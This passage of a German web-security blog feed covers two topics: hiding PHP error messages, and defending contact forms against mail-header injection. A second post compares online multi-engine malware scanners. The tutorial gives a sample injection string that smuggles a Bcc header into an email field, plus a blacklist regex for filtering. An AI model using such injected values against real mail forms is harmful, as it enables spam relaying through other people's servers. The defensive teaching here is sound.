<p>In den obigen Beispielen zum Schutz vor XSS haben wir die Funktion htmlentities() verwendet. Diese Funktion erwartet als Parameter einen String. Ein Angreifer kann aber auch ein Array &#252;bergeben, was zur Fehlermeldung und somit zu Full Path Disclosure f&#252;hrt (solange Fehlermeldungen ausgegeben werden).</p>
<p>Um die Ausgabe von Fehlermeldungen zu unterbinden, gibt es mehrere M&#246;glichkeiten.</p>
<p>Wer Zugriff auf die PHP-Konfigurationsdatei (php.ini) hat, kann die Direktive <em>display_errors</em> auf <em>Off</em> setzen. Dadurch werden Fehlermeldungen global unterbunden.</p>
<p>Ansonsten kann man die Funktion error_reporting() nutzen und die Ausgabe von Fehlermeldungen zur Laufzeit unterbinden. Dazu &#252;bergibt man der Funktion den Wert 0.</p>
<pre class="prettyprint"><code>&lt;?php
  error_reporting(0);
  // ...
?&gt;</code></pre>
<p>Zus&#228;tzlich k&#246;nnte man in der if-Abfrage &#252;berpr&#252;fen, ob es sich um ein Array handelt oder nicht. Dazu eignet sich die Funktion is_array().</p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_POST[&#039;name&#039;]) &amp;&amp; !empty($_POST[&#039;name&#039;]) &amp;&amp; !is_array($_POST[&#039;name&#039;]))
    echo htmlentities($_POST[&#039;name&#039;]);
?&gt;</code></pre>
<p>Tipp: W&#228;hrend der Entwicklung / w&#228;hrend des Debuggens sollte man immer Fehler- und Warnmeldungen ausgeben lassen. So kann man z.B. error_reporting(E_ALL) verwenden und sp&#228;ter in error_reporting(0) um&#228;ndern.</p>
<h3>Weitere M&#246;glichkeiten</h3>
<p>Eine weitere M&#246;glichkeit bietet der @-Operator. Anstatt htmlentities() verwendet man einfach @htmlentities(). Das gleiche gilt f&#252;r andere Funktionen.</p>
<p>Ansonsten kann man auch das Type Casting nutzen und der Variable einen expliziten Datentyp (in diesem Fall <em>string</em>) zuweisen.</p>
<h2 class="headline">Schutz vor Mail-Header Injection</h2>
<p>E-Mails bestehen genau wie Webseiten aus einem Header und einem Body. Im Header werden bestimmte Daten, wie z.B. die Absender-Adresse und das Datum &#252;bertragen.</p>
<p>Bei einer Mail-Header Injection manipulieren Angreifer (bzw. Spamer oder Spambots) den Mail-Header. Meistens wird dies ausgenutzt, um Spam-Mails zu versenden. Es ist allerdings noch weitaus mehr m&#246;glich.</p>
<p>In PHP gibt es f&#252;r das Versenden von E-Mails die Funktion mail(). Werden ungefilterte Benutzereingaben an diese Funktion &#252;bergeben, ist Mail-Header Injection m&#246;glich, da die mail() Funktion die &#252;bergebenen Parameter ungepr&#252;ft an den Mailserver schickt.</p>
<pre class="prettyprint"><code>&lt;?php
  // ...
  $nachricht = htmlentities($_POST[&#039;text&#039;]);
  $email = htmlentities($_POST[&#039;email&#039;]);
  mail(&#039;empfaenger@example.com&#039;, &#039;Betreff&#039;, $nachricht, &#039;From: &#039; . $email);
?&gt;</code></pre>
<p>Da Header-Eintr&#228;ge in E-Mails mit einem Zeilenumbruch voneinander getrennt werden, injizieren Angreifer einen Zeilenumbruch (Hexadezimal: <code>%0A</code>), gefolgt von beliebigen Header-Eintr&#228;gen.</p>
<p>Mit dem CC-Feld bzw. BCC-Feld kann eine Kopie der E-Mail an eine oder mehrere E-Mail Adressen gesendet werden. Diese Felder nutzen Spamer, um Spam-Mails zu versenden (wie am folgenden Beispiel zu sehen ist).</p>
<p>Ein Angreifer / Spamer k&#246;nnte folgenden String im Formular als E-Mail angeben.</p>
<pre class="srccode"><code>absender@example.com%0ABcc:empfaenger1@xy.tld, empfaenger2@xy.tld</code></pre>
<p>Hier wird eine Kopie der E-Mail an <em>empfaenger1@xy.tld</em> und <em>empfaenger2@xy.tld</em> gesendet. Das BCC-Feld erm&#246;glicht eine Blindkopie; die Empf&#228;nger sehen nicht, dass die E-Mail auch an andere Adressen gesendet wurde.</p>
<p>Bei Wikipedia findet man eine Liste von <a href="http://de.wikipedia.org/wiki/Header_%28E-Mail%29#M.C3.B6gliche_Eintr.C3.A4ge_im_Header" target="_blank">m&#246;glichen Header-Eintr&#228;gen</a>.</p>
<p>Wer genau hinschaut wird feststellen, dass der String kein Zeichen enth&#228;lt, welches die Funktion htmlentities() umwandeln w&#252;rde. htmlentities() bietet gegen Mail-Header Injection keinen Schutz! Wir m&#252;ssen eigene Funktionen zur Filterung / Validierung schreiben.</p>
<p>Hierbei sollte man beachten, dass manche Systeme auch andere Zeichen als Zeilenumbruch interpretieren k&#246;nnten (z.B. Carriage Return - <code>%0D</code>).</p>
<p><strong>Wichtig</strong>: F&#252;r einen sicheren Schutz gegen Mail-Header Injection muss <strong>jeder Parameter</strong> der mail() Funktion validiert / gefiltert werden, der Benutzereingaben enth&#228;lt.</p>
<pre class="prettyprint"><code>&lt;?php
  setlocale(LC_ALL, &#039;de_DE&#039;);

  function checkMailParam($val, $type)
  {
    $a  = &#039;/(%0A|\r|%0D|\n|%00|\0|%09|\t)/ims&#039;;
    $b  = &#039;/(cc:|bcc:|from:|to:|reply-to:|subject:|sender:&#039;.
          &#039;|content-type:|content-transfer-encoding:|mime-version:)/ims&#039;;
    $blacklist = ($type != &#039;msg&#039;) ? $a : $b;   

    $val = preg_replace($blacklist, &#039;&#039;, $val); 

    if($type == &#039;mail&#039;)
    {
      if(preg_match(&#039;/^[\w.+-]{1,64}\@[\w.-]{1,255}\.[a-z]{2,6}$/&#039;, $val))
        return true;
    }

    else if($type == &#039;subject&#039;)
    {
      if(preg_match(&#039;/^[[:print:]]{3,}$/&#039;, $val))
        return true;
    }

    else if($type == &#039;msg&#039;)
    {
      if(preg_match(&#039;/^[[:print:][:space:]]{5,}$/&#039;, $val))
        return true;
    }

    else
      return false;
  }

  if(checkMailParam($_POST[&#039;text&#039;], &#039;msg&#039;) &amp;&amp; checkMailParam($_POST[&#039;email&#039;], &#039;mail&#039;))
  {
    $nachricht = htmlentities($_POST[&#039;text&#039;]);
    $email = htmlentities($_POST[&#039;email&#039;]);
    mail(&#039;empfaenger@example.com&#039;, &#039;Betreff&#039;, $nachricht, &#039;From: &#039; . $email);
  }
?&gt;</code></pre>
<p>Als erstes nutzen wir die Funktion setlocale(), damit Umlaute, etc. korrekt verarbeitet werden. Dann folgt unsere eigene Funktion checkMailParam(), in der wir die m&#246;glichen Benutzereingaben f&#252;r die mail() Funktion validieren und filtern. Zuerst werden alle Zeichen, die bei einer Mail-Header Injection typisch sind, durch einen leeren String ersetzt. Anschlie&#223;end werden die Daten mit <a href="http://de.wikipedia.org/wiki/Regul%C3%A4rer_Ausdruck" target="_blank">Regul&#228;ren Ausdr&#252;cken</a> &#252;berpr&#252;ft - z.B. ob es sich um eine g&#252;ltige E-Mail Adresse handelt. Ist dies der Fall, wird <em>true</em> zur&#252;ck gegeben.</p>
<p>Diese Funktion nutzen wir anschlie&#223;end in einer if-Abfrage. Erst wenn die Daten validiert und gefiltert wurden, wird die mail() Funktion aufgerufen.</p>
<h2 class="headline">Ausblick auf Teil 2</h2>
<p>Das war es soweit f&#252;r den ersten Teil.</p>
<p>Im zweiten Teil geht es um File Uploads und CAPTCHAs. Zum Schlu&#223; werd ich dann ein fertiges Formular-Script bereitstellen (evtl. sp&#228;ter auch als WP-PlugIn <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> ).</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/sichere-formulare-teil-2.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 2">Sichere Formulare &#8211; Teil 2</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 2 &#8211; Phishing">Content-Spoofing &#8211; Teil 2 &#8211; Phishing</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 1 &#8211; JavaScript">Content-Spoofing &#8211; Teil 1 &#8211; JavaScript</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects">Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/sichere-formulare-teil-1.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small><img src="http://feeds.feedburner.com/~r/web-tuts/~4/eDA0MJEHrhQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/sichere-formulare-teil-1.html/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://www.web-tuts.de/sichere-formulare-teil-1.html</feedburner:origLink></item>
		<item>
		<title>Online Multi-Engine Malware Scanner</title>
		<link>http://feedproxy.google.com/~r/web-tuts/~3/ggpv-EfKwGc/online-multi-engine-malware-scanner.html</link>
		<comments>http://www.web-tuts.de/online-multi-engine-malware-scanner.html#comments</comments>
		<pubDate>Wed, 16 Dec 2009 22:10:05 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Antiviren]]></category>
		<category><![CDATA[Malware]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=628</guid>
		<description><![CDATA[Fast jeder Windows-Nutzer hat heutzutage Antiviren-Software installiert.
Bei der Anzahl und Gefahr von aktueller Malware kein Wunder.
Allerdings verlassen sich viele zu sehr auf diese eine Software. Zum einen, weil die Virensignaturen st&#228;ndig aktualisiert werden und zum anderen, weil sie bisher oder seit der Installation der Antiviren-Software keine Malware auf ihrem PC entdeckt haben.
Heruntergeladene Dateien werden vielleicht [...]]]></description>
			<content:encoded><![CDATA[<p>Fast jeder Windows-Nutzer hat heutzutage Antiviren-Software installiert.<br />
Bei der Anzahl und Gefahr von aktueller Malware kein Wunder.</p>
<p>Allerdings verlassen sich viele zu sehr auf diese eine Software. Zum einen, weil die Virensignaturen st&#228;ndig aktualisiert werden und zum anderen, weil sie bisher oder seit der Installation der Antiviren-Software keine Malware auf ihrem PC entdeckt haben.</p>
<p>Heruntergeladene Dateien werden vielleicht einmal kurz gescannt – wenn das Antiviren-Programm keine Meldung ausspruckt, wird die Datei einfach ausgef&#252;hrt. Dabei lassen sich die meisten Scan-Engines sehr leicht <a href="http://www.web-tuts.de/api-crypting-antiviren-programme-austricksen.html">austricksen</a>.</p>
<p>Bessere Chancen hat man, wenn man zus&#228;tzlich Online Malware Scanner mit Multi-Engines nutzt. So kann man verd&#228;chtige Dateien mit verschiedener Antiviren-Software und aktualisierten Virensignaturen in einem Rutsch kostenlos scannen lassen.</p>
<p>Solche Online-Dienste haben ihre Vorteile, aber auch einige Beschr&#228;nkungen.</p>

<h2 class="headline">Online-Dienste im &#220;berblick</h2>
<h3>VirusTotal</h3>
<p>Einer der bekanntesten Multi-Engine Malware Scanner Dienste ist wohl <a href="http://www.virustotal.com/de/" target="_blank">VirusTotal</a>. Zurzeit kann man dort einzelne Dateien mit <strong>41</strong> Antiviren-Engines analysieren lassen.</p>
<p>Vorteile:</p>
<ul>
<li>Kostenlos</li>
<li>Sehr viele Antiviren-Engines</li>
<li>Automatische Updates der Virensignaturen (echtzeit)</li>
<li>Detailierte Ergebnisse</li>
<li>Grafische Statistik der Serverauslastung</li>
<li>Scannen per E-Mail m&#246;glich</li>
<li>SSL Unterst&#252;tzung</li>
</ul>
<p>Nachteile:</p>
<ul>
<li>20 MB Limit</li>
</ul>
<h3>VirScan</h3>
<p>Ein weiterer Dienst ist <a href="http://www.virscan.org/" target="_blank">VirScan</a>. Dort stehen zurzeit <strong>38</strong> Antiviren-Engines zur Verf&#252;gung.</p>
<p>Vorteile:</p>
<ul>
<li>Kostenlos</li>
<li>Sehr viele Antiviren-Engines</li>
<li>ZIP und RAR Archive mit bis zu 20 Dateien werden unterst&#252;tzt</li>
<li>Automatische Updates der Virensignaturen</li>
<li>Detailierte Ergebnisse</li>
<li>Grafische Statistik der Serverauslastung</li>
</ul>
<p>Nachteile:</p>
<ul>
<li>20 MB Limit</li>
<li>Kein Scannen per E-Mail m&#246;glich</li>
<li>Keine SSL Unterst&#252;tzung</li>
</ul>
<h3>NoVirusThanks</h3>
<p>Eine gute Alternative bietet <a href="http://scanner.novirusthanks.org/index.php" target="_blank">NoVirusThanks</a>.<br />
Dort stehen zurzeit <strong>24</strong> Antiviren-Engines zur Verf&#252;gung.</p>
<p>Vorteile:</p>
<ul>
<li>Kostenlos</li>
<li>Viele Antiviren-Engines</li>
<li>Automatische Updates der Virensignaturen (alle 6 Stunden)</li>
<li>Detailierte Ergebnisse</li>
<li>Grafische Statistik der Serverauslastung</li>
<li>Option, um das Senden der Datei an die Hersteller zu unterbinden</li>
<li>Es k&#246;nnen Web-Adressen angegeben werden</li>
<li>Binder und SFX Detector (siehe FAQ)</li>
</ul>
<p>Nachteile:</p>
<ul>
<li>20 MB Limit</li>
<li>Kein Scannen per E-Mail m&#246;glich</li>
<li>Keine SSL Unterst&#252;tzung</li>
</ul>
<h3>Jottis Malwarescanner</h3>
<p>Mit <a href="http://virusscan.jotti.org/de/" target="_blank">Jottis Malwarescanner</a> lassen sich Dateien mit <strong>20</strong> Antiviren-Engines analysieren.</p>
<p>Vorteile:</p>
<ul>
<li>Kostenlos</li>
<li>Gute Anzahl an Antiviren-Engines</li>
<li>Automatische Updates der Virensignaturen</li>
<li>Grafische Statistik der Serverauslastung</li>
</ul>
<p>Nachteile:</p>
<ul>
<li>15 MB Limit</li>
<li>Keine detailierten Ergebnisse</li>
<li>Kein Scannen per E-Mail m&#246;glich</li>
<li>Keine SSL Unterst&#252;tzung</li>
</ul>
<h3>VirusChief</h3>
<p>Zum Schluss noch ein etwas kleiner, aber relativ bekannter Dienst.<br />
Bei <a href="http://www.viruschief.com/" target="_blank">VirusChief</a> werden zurzeit <strong>5</strong> Antiviren-Engines verwendet.</p>
<p>Vorteile:</p>
<ul>
<li>Kostenlos</li>
<li>Automatische Updates der Virensignaturen</li>
</ul>
<p>Nachteile:</p>
<ul>
<li>Sehr geringe Anzahl an Antiviren-Engines</li>
<li>Keine detailierten Ergebnisse</li>
<li>Kein Scannen per E-Mail m&#246;glich</li>
<li>Keine SSL Unterst&#252;tzung</li>
</ul>
<h2 class="headline">Fazit</h2>
<p>Solche Online-Dienste sind sehr n&#252;tzlich, wenn man kleinere Dateien analysieren will. Gr&#246;&#223;ere Dateien sind dagegen nicht geeignet – da sollte man besser zu einer Alternative greifen. Es gibt sicherlich noch mehr solcher Online-Dienste, aber zu den Top-Diensten geh&#246;ren auf jeden Fall VirusTotal, VirScan und NoVirusThanks.</p>
<p>Trotzallem sollte man sich aber niemals auf die Ergebnisse verlassen. Antiviren-Programme geben h&#228;ufig Falschmeldungen aus oder erkennen die Malware einfach nicht. Die Multi-Engine Malware Scanner bieten lediglich einen zus&#228;tzlichen Schutz.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/api-crypting-antiviren-programme-austricksen.html" rel="bookmark" title="Permanent Link: API Crypting: Antiviren-Programme austricksen">API Crypting: Antiviren-Programme austricksen</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 2 &#8211; Phishing">Content-Spoofing &#8211; Teil 2 &#8211; Phishing</a></li><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/about/" rel="bookmark" title="Permanent Link: &#220;ber Web-Tuts.de">&#220;ber Web-Tuts.de</a></li><li><a href="http://www.web-tuts.de/25-aktuelle-cheat-sheets-fuer-webworker.html" rel="bookmark" title="Permanent Link: 25+ aktuelle Cheat Sheets f&#252;r Webworker">25+ aktuelle Cheat Sheets f&#252;r Webworker</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/online-multi-engine-malware-scanner.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small><img src="http://feeds.feedburner.com/~r/web-tuts/~4/ggpv-EfKwGc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/online-multi-engine-malware-scanner.html/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.web-tuts.de/online-multi-engine-malware-scanner.html</feedburner:origLink></item>
	</channel>
</rss>

